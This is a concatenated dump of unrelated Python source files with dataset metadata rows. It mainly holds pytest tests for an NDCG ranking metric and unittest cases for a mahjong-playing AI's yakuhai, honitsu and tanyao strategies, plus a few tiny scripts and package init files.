def test_ndcg_k_is_zero():
relevant = [1, 2, 3]
relevancy_scores = [2, 2, 1]
predicted = [1, 3, 2]
with pytest.raises(Exception):
metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=0)
def test_ndcg_k_larger_than_predicted():
relevant = [1, 2, 3]
relevancy_scores = [2, 2, 1]
predicted = [1, 3, 2]
with pytest.raises(Exception):
metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=len(predicted) + 1)
def test_ndcg_k_none():
relevant = [1, 2, 3]
relevancy_scores = [0.2, 0.3, 0.5]
predicted = [3, 2, 1, 4, 10, 11]
ndcg_3 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=6)
ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted)
assert ndcg_3 == ndcg_score
def test_ndcg_k_no_hits():
relevant = [1, 2, 3]
relevancy_scores = [0.2, 0.3, 0.5]
predicted = [4, 5, 6, 7, 8, 9, 10]
for i in range(len(predicted)):
ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=i + 1)
assert ndcg_score == 0.0
def test_ndcg_k_perfect():
relevant = [1, 2, 3]
relevancy_scores = [0.2, 0.3, 0.5]
predicted = [3, 2, 1]
for i in range(len(predicted)):
ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=i + 1)
assert ndcg_score == 1.0
def test_ndcg_k_reals():
relevant = [4, 2, 1]
relevancy_scores = [0.7, 0.2, 0.1]
predicted = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10]
ndcg_10 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=10)
ndcg_3 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=3)
ndcg_1 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=1)
assert np.isclose(ndcg_10, 0.602227, atol=1e-4)
assert np.isclose(ndcg_3, 0.258148, atol=1e-4)
assert np.isclose(ndcg_1, 0.14285, atol=1e-4)
def test_ndcg_k_reals_one_hit():
relevant = [4, 2, 1, 0]
relevancy_scores = [0.7, 0.1, 0.05, 0.15]
predicted = [7, 3, 10, 11, 12, 13, 14, 4]
ndcg_8 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=8)
assert np.isclose(ndcg_8, 0.254943, atol=1e-4)
for i in range(1, len(predicted)):
ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=i)
assert ndcg_score == 0.0
# https://en.wikipedia.org/wiki/Discounted_cumulative_gain#Example
def test_ndcg_k_integers_from_wikipedia():
relevant = [1, 2, 3, 5, 6]
relevancy_scores = [3, 2, 3, 1, 2]
predicted = [1, 2, 3, 4, 5, 6]
k = 6
ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=k)
assert np.isclose(ndcg_score, 0.9607, atol=1e-4)
def test_ndcg_k_integers():
relevant = [1, 2, 3]
relevancy_scores = [2, 2, 1]
predicted = [1, 3, 2]
ndcg_3 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=3)
ndcg_2 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=2)
ndcg_1 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=1)
assert np.isclose(ndcg_3, 0.9651, atol=1e-4)
assert np.isclose(ndcg_2, 0.8065, atol=1e-4)
assert np.isclose(ndcg_1, 1, atol=1e-4)
def test_ndcg_k_one_hit():
relevant = [2, 3, 4]
relevancy_scores = [2, 2, 3]
predicted = [0, 1, 10, 2]
ndcg_4 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=4)
ndcg_1 = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=1)
assert np.isclose(ndcg_4, 0.163698, atol=1e-4)
assert ndcg_1 == 0.0
def test_ndcg_k_zero():
relevant = [1]
relevancy_scores = [10]
predicted = [5, 6]
k = 2
ndcg_score = metrics.ndcg_k(relevant=relevant, relevancy_scores=relevancy_scores, predicted=predicted, k=k)
assert ndcg_score == 0.0
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0
| 5
|
29e75995360e6b2c2603b823650a710a5216b660
| 96
|
py
|
Python
|
venv/lib/python3.8/site-packages/setuptools/package_index.py
|
Retraces/UkraineBot
|
3d5d7f8aaa58fa0cb8b98733b8808e5dfbdb8b71
|
[
"MIT"
] | 2
|
2022-03-13T01:58:52.000Z
|
2022-03-31T06:07:54.000Z
|
venv/lib/python3.8/site-packages/setuptools/package_index.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | 19
|
2021-11-20T04:09:18.000Z
|
2022-03-23T15:05:55.000Z
|
venv/lib/python3.8/site-packages/setuptools/package_index.py
|
DesmoSearch/Desmobot
|
b70b45df3485351f471080deb5c785c4bc5c4beb
|
[
"MIT"
] | null | null | null |
/home/runner/.cache/pip/pool/49/5d/20/52f5f9fae12c9e30c96024b9211896b3ecc4a8de47fef60972e6aaefe0
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0
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|
29f24223b169fe81131f8edcef11b411efb123f4
| 45
|
py
|
Python
|
Modulo_1/semana2/Estructura-de-Datos/list/listas-reverse.py
|
rubens233/cocid_python
|
492ebdf21817e693e5eb330ee006397272f2e0cc
|
[
"MIT"
] | null | null | null |
Modulo_1/semana2/Estructura-de-Datos/list/listas-reverse.py
|
rubens233/cocid_python
|
492ebdf21817e693e5eb330ee006397272f2e0cc
|
[
"MIT"
] | null | null | null |
Modulo_1/semana2/Estructura-de-Datos/list/listas-reverse.py
|
rubens233/cocid_python
|
492ebdf21817e693e5eb330ee006397272f2e0cc
|
[
"MIT"
] | 1
|
2022-03-04T00:57:18.000Z
|
2022-03-04T00:57:18.000Z
|
a=[2, 3, 5, 7]
print(a)
a.reverse()
print(a)
| 9
| 14
| 0.555556
| 11
| 45
| 2.272727
| 0.636364
| 0.48
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.105263
| 0.155556
| 45
| 4
| 15
| 11.25
| 0.552632
| 0
| 0
| 0.5
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0
| 0
| 0
| 0.5
| 1
| 1
| 0
| null | 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
29f2d4c9db4bbb450daad787bea6cb83a1bac37d
| 44
|
py
|
Python
|
base/base.py
|
jokepinocchio/python
|
3466f23292176c45db6ff4094b9f17b17579fecf
|
[
"Unlicense"
] | null | null | null |
base/base.py
|
jokepinocchio/python
|
3466f23292176c45db6ff4094b9f17b17579fecf
|
[
"Unlicense"
] | null | null | null |
base/base.py
|
jokepinocchio/python
|
3466f23292176c45db6ff4094b9f17b17579fecf
|
[
"Unlicense"
] | null | null | null |
#!/usr/bin/env python
print 'hello python'
| 11
| 21
| 0.704545
| 7
| 44
| 4.428571
| 0.857143
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.136364
| 44
| 3
| 22
| 14.666667
| 0.815789
| 0.454545
| 0
| 0
| 0
| 0
| 0.521739
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | null | 0
| 0
| null | null | 1
| 1
| 1
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 1
|
0
| 5
|
29f6f8f57d5578d63e9e6aedb0b7df478c3f8d36
| 102
|
py
|
Python
|
happyly/caching/__init__.py
|
alex-tsukanov/cargopy
|
f73b68e2ea5263dea5e570756d5fbcc4ef8d7b75
|
[
"MIT"
] | 5
|
2019-03-01T16:50:15.000Z
|
2021-05-24T10:58:34.000Z
|
happyly/caching/__init__.py
|
alex-tsukanov/cargopy
|
f73b68e2ea5263dea5e570756d5fbcc4ef8d7b75
|
[
"MIT"
] | 18
|
2019-03-18T12:59:09.000Z
|
2019-05-14T17:36:02.000Z
|
happyly/caching/__init__.py
|
alex-tsukanov/cargopy
|
f73b68e2ea5263dea5e570756d5fbcc4ef8d7b75
|
[
"MIT"
] | 2
|
2019-03-24T22:43:08.000Z
|
2019-06-04T09:45:12.000Z
|
from .cacher import Cacher # noqa: F401
# this is a deprecated module
# it will be removed in v0.11
| 20.4
| 40
| 0.72549
| 18
| 102
| 4.111111
| 0.944444
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.075
| 0.215686
| 102
| 4
| 41
| 25.5
| 0.85
| 0.647059
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 5
|
4b11162f3058131892975742ca73a88750533333
| 163
|
py
|
Python
|
graph_tf/utils/__init__.py
|
jackd/graph-tf
|
7b75182084d515fda16ab7f84ba175fe12d86274
|
[
"Apache-2.0"
] | null | null | null |
graph_tf/utils/__init__.py
|
jackd/graph-tf
|
7b75182084d515fda16ab7f84ba175fe12d86274
|
[
"Apache-2.0"
] | null | null | null |
graph_tf/utils/__init__.py
|
jackd/graph-tf
|
7b75182084d515fda16ab7f84ba175fe12d86274
|
[
"Apache-2.0"
] | null | null | null |
from .type_checks import is_dense_tensor, is_ragged_tensor, is_sparse_tensor
__all__ = [
"is_dense_tensor",
"is_sparse_tensor",
"is_ragged_tensor",
]
| 20.375
| 76
| 0.748466
| 23
| 163
| 4.565217
| 0.434783
| 0.304762
| 0.247619
| 0.285714
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.159509
| 163
| 7
| 77
| 23.285714
| 0.766423
| 0
| 0
| 0
| 0
| 0
| 0.288344
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.166667
| 0
| 0.166667
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 5
|
d9bae4b769800aae2de0bfb8922ac76b6d92356e
| 24,968
|
py
|
Python
|
project/game/ai/first_version/tests/tests_strategies.py
|
warppoint42/Mahjong221
|
dac82c726927730e11112e2a62b500587717b7ed
|
[
"MIT"
] | 2
|
2019-02-27T06:14:18.000Z
|
2019-06-08T18:42:42.000Z
|
project/game/ai/first_version/tests/tests_strategies.py
|
warppoint42/Mahjong221
|
dac82c726927730e11112e2a62b500587717b7ed
|
[
"MIT"
] | null | null | null |
project/game/ai/first_version/tests/tests_strategies.py
|
warppoint42/Mahjong221
|
dac82c726927730e11112e2a62b500587717b7ed
|
[
"MIT"
] | 1
|
2018-05-22T13:39:10.000Z
|
2018-05-22T13:39:10.000Z
|
# -*- coding: utf-8 -*-
import unittest
from mahjong.meld import Meld
from mahjong.tests_mixin import TestMixin
from game.ai.first_version.strategies.honitsu import HonitsuStrategy
from game.ai.first_version.strategies.main import BaseStrategy
from game.ai.first_version.strategies.tanyao import TanyaoStrategy
from game.ai.first_version.strategies.yakuhai import YakuhaiStrategy
from game.table import Table
class YakuhaiStrategyTestCase(unittest.TestCase, TestMixin):
def test_should_activate_strategy(self):
table = Table()
player = table.player
strategy = YakuhaiStrategy(BaseStrategy.YAKUHAI, player)
tiles = self._string_to_136_array(sou='12355689', man='89', honors='123')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='12355689', man='89', honors='44')
player.init_hand(tiles)
player.dealer_seat = 1
self.assertEqual(strategy.should_activate_strategy(), True)
tiles = self._string_to_136_array(sou='12355689', man='89', honors='666')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), True)
# with chitoitsu-like hand we don't need to go for yakuhai
tiles = self._string_to_136_array(sou='1235566', man='8899', honors='66')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
def test_dont_activate_strategy_if_we_dont_have_enough_tiles_in_the_wall(self):
table = Table()
player = table.player
strategy = YakuhaiStrategy(BaseStrategy.YAKUHAI, player)
tiles = self._string_to_136_array(sou='12355689', man='89', honors='44')
player.init_hand(tiles)
player.dealer_seat = 1
self.assertEqual(strategy.should_activate_strategy(), True)
table.add_discarded_tile(3, self._string_to_136_tile(honors='4'), False)
table.add_discarded_tile(3, self._string_to_136_tile(honors='4'), False)
# we can't complete yakuhai, because there is not enough honor tiles
self.assertEqual(strategy.should_activate_strategy(), False)
def test_suitable_tiles(self):
table = Table()
player = table.player
strategy = YakuhaiStrategy(BaseStrategy.YAKUHAI, player)
# for yakuhai we can use any tile
for tile in range(0, 136):
self.assertEqual(strategy.is_tile_suitable(tile), True)
def test_open_hand_with_yakuhai_pair_in_hand(self):
table = Table()
player = table.player
tiles = self._string_to_136_array(sou='123678', pin='25899', honors='44')
tile = self._string_to_136_tile(honors='4')
player.init_hand(tiles)
# we don't need to open hand with not our wind
meld, _ = player.try_to_call_meld(tile, False)
self.assertEqual(meld, None)
# with dragon pair in hand let's open our hand
tiles = self._string_to_136_array(sou='1689', pin='2358', man='1', honors='4455')
tile = self._string_to_136_tile(honors='4')
player.init_hand(tiles)
meld, _ = player.try_to_call_meld(tile, False)
self.assertNotEqual(meld, None)
player.add_called_meld(meld)
player.tiles.append(tile)
self.assertEqual(meld.type, Meld.PON)
self.assertEqual(self._to_string(meld.tiles), '444z')
self.assertEqual(len(player.closed_hand), 11)
self.assertEqual(len(player.tiles), 14)
player.discard_tile()
tile = self._string_to_136_tile(honors='5')
meld, _ = player.try_to_call_meld(tile, False)
self.assertNotEqual(meld, None)
player.add_called_meld(meld)
player.tiles.append(tile)
self.assertEqual(meld.type, Meld.PON)
self.assertEqual(self._to_string(meld.tiles), '555z')
self.assertEqual(len(player.closed_hand), 8)
self.assertEqual(len(player.tiles), 14)
player.discard_tile()
tile = self._string_to_136_tile(sou='7')
# we can call chi only from left player
meld, _ = player.try_to_call_meld(tile, False)
self.assertEqual(meld, None)
meld, _ = player.try_to_call_meld(tile, True)
self.assertNotEqual(meld, None)
player.add_called_meld(meld)
player.tiles.append(tile)
self.assertEqual(meld.type, Meld.CHI)
self.assertEqual(self._to_string(meld.tiles), '678s')
self.assertEqual(len(player.closed_hand), 5)
self.assertEqual(len(player.tiles), 14)
def test_force_yakuhai_pair_waiting_for_tempai_hand(self):
"""
If hand shanten = 1 don't open hand except the situation where is
we have tempai on yakuhai tile after open set
"""
table = Table()
player = table.player
tiles = self._string_to_136_array(sou='123', pin='678', man='34468', honors='66')
player.init_hand(tiles)
# we will not get tempai on yakuhai pair with this hand, so let's skip this call
tile = self._string_to_136_tile(man='5')
meld, _ = player.try_to_call_meld(tile, False)
self.assertEqual(meld, None)
# but here we will have atodzuke tempai
tile = self._string_to_136_tile(man='7')
meld, _ = player.try_to_call_meld(tile, True)
self.assertNotEqual(meld, None)
self.assertEqual(meld.type, Meld.CHI)
self.assertEqual(self._to_string(meld.tiles), '678m')
table = Table()
player = table.player
# we can open hand in that case
tiles = self._string_to_136_array(man='44556', sou='366789', honors='77')
player.init_hand(tiles)
tile = self._string_to_136_tile(honors='7')
meld, _ = player.try_to_call_meld(tile, True)
self.assertNotEqual(meld, None)
self.assertEqual(self._to_string(meld.tiles), '777z')
def test_call_yakuhai_pair_and_special_conditions(self):
table = Table()
player = table.player
tiles = self._string_to_136_array(man='56', sou='1235', pin='12888', honors='11')
player.init_hand(tiles)
meld = self._make_meld(Meld.PON, pin='888')
player.add_called_meld(meld)
# to update previous_shanten attribute
player.draw_tile(self._string_to_136_tile(honors='3'))
player.discard_tile()
tile = self._string_to_136_tile(honors='1')
meld, _ = player.try_to_call_meld(tile, True)
self.assertNotEqual(meld, None)
def test_tempai_without_yaku(self):
table = Table()
player = table.player
tiles = self._string_to_136_array(sou='678', pin='12355', man='456', honors='77')
player.init_hand(tiles)
tile = self._string_to_136_tile(pin='5')
player.draw_tile(tile)
meld = self._make_meld(Meld.CHI, sou='678')
player.add_called_meld(meld)
discard = player.discard_tile()
self.assertEqual(self._to_string([discard]), '1p')
def test_get_more_yakuhai_sets_in_hand(self):
table = Table()
tiles = self._string_to_136_array(sou='1378', pin='67', man='68', honors='5566')
table.player.init_hand(tiles)
tile = self._string_to_136_tile(honors='5')
meld, discard_option = table.player.try_to_call_meld(tile, False)
self.assertNotEqual(meld, None)
table.add_called_meld(0, meld)
table.player.tiles.append(tile)
table.player.discard_tile(discard_option)
tile = self._string_to_136_tile(honors='6')
meld, _ = table.player.try_to_call_meld(tile, False)
self.assertNotEqual(meld, None)
table = Table()
tiles = self._string_to_136_array(sou='234', pin='788', man='567', honors='5566')
table.player.init_hand(tiles)
tile = self._string_to_136_tile(honors='5')
meld, discard_option = table.player.try_to_call_meld(tile, False)
self.assertNotEqual(meld, None)
table.add_called_meld(0, meld)
table.player.tiles.append(tile)
table.player.discard_tile(discard_option)
tile = self._string_to_136_tile(honors='6')
meld, _ = table.player.try_to_call_meld(tile, False)
self.assertEqual(meld, None)
def test_atodzuke_opened_hand(self):
table = Table()
player = table.player
# 456m12355p22z + 5p [678s]
tiles = self._string_to_136_array(sou='4589', pin='123', man='1236', honors='66')
player.init_hand(tiles)
tile = self._string_to_136_tile(man='6')
player.draw_tile(tile)
meld = self._make_meld(Meld.CHI, pin='123')
player.add_called_meld(meld)
discard = player.discard_tile()
self.assertEqual(self._to_string([discard]), '9s')
def test_wrong_shanten_improvements_detection(self):
"""
With hand 2345s1p11z bot wanted to open set on 2s,
so after opened set we will get 25s1p11z
it is not correct logic, because we ruined our hand
:return:
"""
table = Table()
player = table.player
tiles = self._string_to_136_array(sou='2345999', honors='114446')
player.init_hand(tiles)
meld = self._make_meld(Meld.PON, sou='999')
player.add_called_meld(meld)
meld = self._make_meld(Meld.PON, honors='444')
player.add_called_meld(meld)
# to rebuild all caches
player.draw_tile(self._string_to_136_tile(pin='2'))
player.discard_tile()
tile = self._string_to_136_tile(sou='2')
meld, _ = table.player.try_to_call_meld(tile, True)
self.assertEqual(meld, None)
class HonitsuStrategyTestCase(unittest.TestCase, TestMixin):
def test_should_activate_strategy(self):
table = Table()
player = table.player
strategy = HonitsuStrategy(BaseStrategy.HONITSU, player)
tiles = self._string_to_136_array(sou='12355', man='12389', honors='123')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='12355', man='238', honors='11234')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), True)
# with hand without pairs we not should go for honitsu,
# because it is far away from tempai
tiles = self._string_to_136_array(sou='12358', man='238', honors='12345')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
# with chitoitsu-like hand we don't need to go for honitsu
tiles = self._string_to_136_array(pin='77', man='3355677899', sou='11')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
def test_suitable_tiles(self):
table = Table()
player = table.player
strategy = HonitsuStrategy(BaseStrategy.HONITSU, player)
tiles = self._string_to_136_array(sou='12355', man='238', honors='11234')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), True)
tile = self._string_to_136_tile(man='1')
self.assertEqual(strategy.is_tile_suitable(tile), False)
tile = self._string_to_136_tile(pin='1')
self.assertEqual(strategy.is_tile_suitable(tile), False)
tile = self._string_to_136_tile(sou='1')
self.assertEqual(strategy.is_tile_suitable(tile), True)
tile = self._string_to_136_tile(honors='1')
self.assertEqual(strategy.is_tile_suitable(tile), True)
def test_open_hand_and_discard_tiles_logic(self):
table = Table()
player = table.player
tiles = self._string_to_136_array(sou='112235589', man='24', honors='22')
player.init_hand(tiles)
# we don't need to call meld even if it improves our hand,
# because we are collecting honitsu
tile = self._string_to_136_tile(man='1')
meld, _ = player.try_to_call_meld(tile, False)
self.assertEqual(meld, None)
# any honor tile is suitable
tile = self._string_to_136_tile(honors='2')
meld, _ = player.try_to_call_meld(tile, False)
self.assertNotEqual(meld, None)
tile = self._string_to_136_tile(man='1')
player.draw_tile(tile)
tile_to_discard = player.discard_tile()
# we are in honitsu mode, so we should discard man suits
self.assertEqual(self._to_string([tile_to_discard]), '1m')
def test_riichi_and_tiles_from_another_suit_in_the_hand(self):
table = Table()
player = table.player
player.scores = 25000
table.count_of_remaining_tiles = 100
tiles = self._string_to_136_array(man='33345678', pin='22', honors='155')
player.init_hand(tiles)
player.draw_tile(self._string_to_136_tile(man='9'))
tile_to_discard = player.discard_tile()
# we don't need to go for honitsu here
# we already in tempai
self.assertEqual(self._to_string([tile_to_discard]), '1z')
def test_discard_not_needed_winds(self):
table = Table()
player = table.player
player.scores = 25000
table.count_of_remaining_tiles = 100
tiles = self._string_to_136_array(man='24', pin='4', sou='12344668', honors='36')
player.init_hand(tiles)
player.draw_tile(self._string_to_136_tile(sou='5'))
table.add_discarded_tile(1, self._string_to_136_tile(honors='3'), False)
table.add_discarded_tile(1, self._string_to_136_tile(honors='3'), False)
table.add_discarded_tile(1, self._string_to_136_tile(honors='3'), False)
tile_to_discard = player.discard_tile()
# west was discarded three times, we don't need it
self.assertEqual(self._to_string([tile_to_discard]), '3z')
def test_discard_not_effective_tiles_first(self):
table = Table()
player = table.player
player.scores = 25000
table.count_of_remaining_tiles = 100
tiles = self._string_to_136_array(man='33', pin='12788999', sou='5', honors='23')
player.init_hand(tiles)
player.draw_tile(self._string_to_136_tile(honors='6'))
tile_to_discard = player.discard_tile()
self.assertEqual(self._to_string([tile_to_discard]), '5s')
def test_dont_go_for_honitsu_with_ryanmen_in_other_suit(self):
table = Table()
player = table.player
strategy = HonitsuStrategy(BaseStrategy.HONITSU, player)
tiles = self._string_to_136_array(man='14489', sou='45', pin='67', honors='44456')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
class TanyaoStrategyTestCase(unittest.TestCase, TestMixin):
def _make_table(self):
table = Table()
table.has_open_tanyao = True
return table
def test_should_activate_strategy_and_terminal_pon_sets(self):
table = self._make_table()
player = table.player
strategy = TanyaoStrategy(BaseStrategy.TANYAO, player)
tiles = self._string_to_136_array(sou='234', man='3459', pin='233', honors='111')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='234', man='3459', pin='233999')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='234', man='3459', pin='233444')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), True)
def test_should_activate_strategy_and_terminal_pairs(self):
table = self._make_table()
player = table.player
strategy = TanyaoStrategy(BaseStrategy.TANYAO, player)
tiles = self._string_to_136_array(sou='234', man='3459', pin='2399', honors='11')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='234', man='345669', pin='2399')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), True)
def test_should_activate_strategy_and_valued_pair(self):
table = self._make_table()
player = table.player
strategy = TanyaoStrategy(BaseStrategy.TANYAO, player)
tiles = self._string_to_136_array(man='23446679', sou='345', honors='55')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(man='23446679', sou='345', honors='22')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), True)
def test_should_activate_strategy_and_chitoitsu_like_hand(self):
table = self._make_table()
player = table.player
strategy = TanyaoStrategy(BaseStrategy.TANYAO, player)
tiles = self._string_to_136_array(sou='223388', man='3344', pin='6687')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
def test_should_activate_strategy_and_already_completed_sided_set(self):
table = self._make_table()
player = table.player
strategy = TanyaoStrategy(BaseStrategy.TANYAO, player)
tiles = self._string_to_136_array(sou='123234', man='3459', pin='234')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='234789', man='3459', pin='234')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='234', man='1233459', pin='234')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='234', man='3457899', pin='234')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='234', man='3459', pin='122334')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='234', man='3459', pin='234789')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), False)
tiles = self._string_to_136_array(sou='223344', man='3459', pin='234')
player.init_hand(tiles)
self.assertEqual(strategy.should_activate_strategy(), True)
def test_suitable_tiles(self):
table = self._make_table()
player = table.player
strategy = TanyaoStrategy(BaseStrategy.TANYAO, player)
tile = self._string_to_136_tile(man='1')
self.assertEqual(strategy.is_tile_suitable(tile), False)
tile = self._string_to_136_tile(pin='1')
self.assertEqual(strategy.is_tile_suitable(tile), False)
tile = self._string_to_136_tile(sou='9')
self.assertEqual(strategy.is_tile_suitable(tile), False)
tile = self._string_to_136_tile(honors='1')
self.assertEqual(strategy.is_tile_suitable(tile), False)
tile = self._string_to_136_tile(honors='6')
self.assertEqual(strategy.is_tile_suitable(tile), False)
tile = self._string_to_136_tile(man='2')
self.assertEqual(strategy.is_tile_suitable(tile), True)
tile = self._string_to_136_tile(pin='5')
self.assertEqual(strategy.is_tile_suitable(tile), True)
tile = self._string_to_136_tile(sou='8')
self.assertEqual(strategy.is_tile_suitable(tile), True)
def test_dont_open_hand_with_high_shanten(self):
table = self._make_table()
player = table.player
# with 4 shanten we don't need to aim for open tanyao
tiles = self._string_to_136_array(man='369', pin='378', sou='3488', honors='123')
tile = self._string_to_136_tile(sou='2')
player.init_hand(tiles)
meld, _ = player.try_to_call_meld(tile, False)
self.assertEqual(meld, None)
# with 3 shanten we can open a hand
tiles = self._string_to_136_array(man='236', pin='378', sou='3488', honors='123')
tile = self._string_to_136_tile(sou='2')
player.init_hand(tiles)
meld, _ = player.try_to_call_meld(tile, True)
self.assertNotEqual(meld, None)
def test_dont_open_hand_with_not_suitable_melds(self):
table = self._make_table()
player = table.player
tiles = self._string_to_136_array(man='33355788', sou='3479', honors='3')
tile = self._string_to_136_tile(sou='8')
player.init_hand(tiles)
meld, _ = player.try_to_call_meld(tile, False)
self.assertEqual(meld, None)
def test_open_hand_and_discard_tiles_logic(self):
table = self._make_table()
player = table.player
# 2345779m1p256s44z
tiles = self._string_to_136_array(man='22345', sou='238', pin='256', honors='44')
player.init_hand(tiles)
# if we are in tanyao
# we need to discard terminals and honors
tile = self._string_to_136_tile(sou='4')
meld, discard_option = player.try_to_call_meld(tile, True)
discarded_tile = table.player.discard_tile(discard_option)
self.assertNotEqual(meld, None)
self.assertEqual(self._to_string([discarded_tile]), '4z')
tile = self._string_to_136_tile(pin='5')
player.draw_tile(tile)
tile_to_discard = player.discard_tile()
# we are in tanyao, so we should discard honors and terminals
self.assertEqual(self._to_string([tile_to_discard]), '4z')
def test_dont_count_pairs_in_already_opened_hand(self):
table = self._make_table()
player = table.player
meld = self._make_meld(Meld.PON, sou='222')
player.add_called_meld(meld)
tiles = self._string_to_136_array(man='33556788', sou='22266')
player.init_hand(tiles)
tile = self._string_to_136_tile(sou='6')
meld, _ = player.try_to_call_meld(tile, False)
# even if it looks like chitoitsu we can open hand and get tempai here
self.assertNotEqual(meld, None)
def test_we_cant_win_with_this_hand(self):
table = self._make_table()
tiles = self._string_to_136_array(man='34577', sou='23', pin='233445')
table.player.init_hand(tiles)
meld = self._make_meld(Meld.CHI, pin='234')
table.player.add_called_meld(meld)
table.player.draw_tile(self._string_to_136_tile(sou='1'))
discard = table.player.discard_tile()
# but for already open hand we cant do tsumo
# because we don't have a yaku here
# so, let's do tsumogiri
self.assertEqual(table.player.ai.previous_shanten, 0)
self.assertEqual(self._to_string([discard]), '1s')
def test_choose_correct_waiting(self):
table = self._make_table()
player = table.player
tiles = self._string_to_136_array(man='234678', sou='234', pin='3588')
player.init_hand(tiles)
player.draw_tile(self._string_to_136_tile(pin='2'))
# discard 5p and riichi
discard = player.discard_tile()
self.assertEqual(self._to_string([discard]), '5p')
table = self._make_table()
player = table.player
meld = self._make_meld(Meld.CHI, man='234')
player.add_called_meld(meld)
tiles = self._string_to_136_array(man='234678', sou='234', pin='3588')
player.init_hand(tiles)
player.draw_tile(self._string_to_136_tile(pin='2'))
# it is not a good idea to wait on 1-4, since we can't win on 1 with open hand
# so let's continue to wait on 4 only
discard = player.discard_tile()
self.assertEqual(self._to_string([discard]), '2p')
table = table = self._make_table()
player = table.player
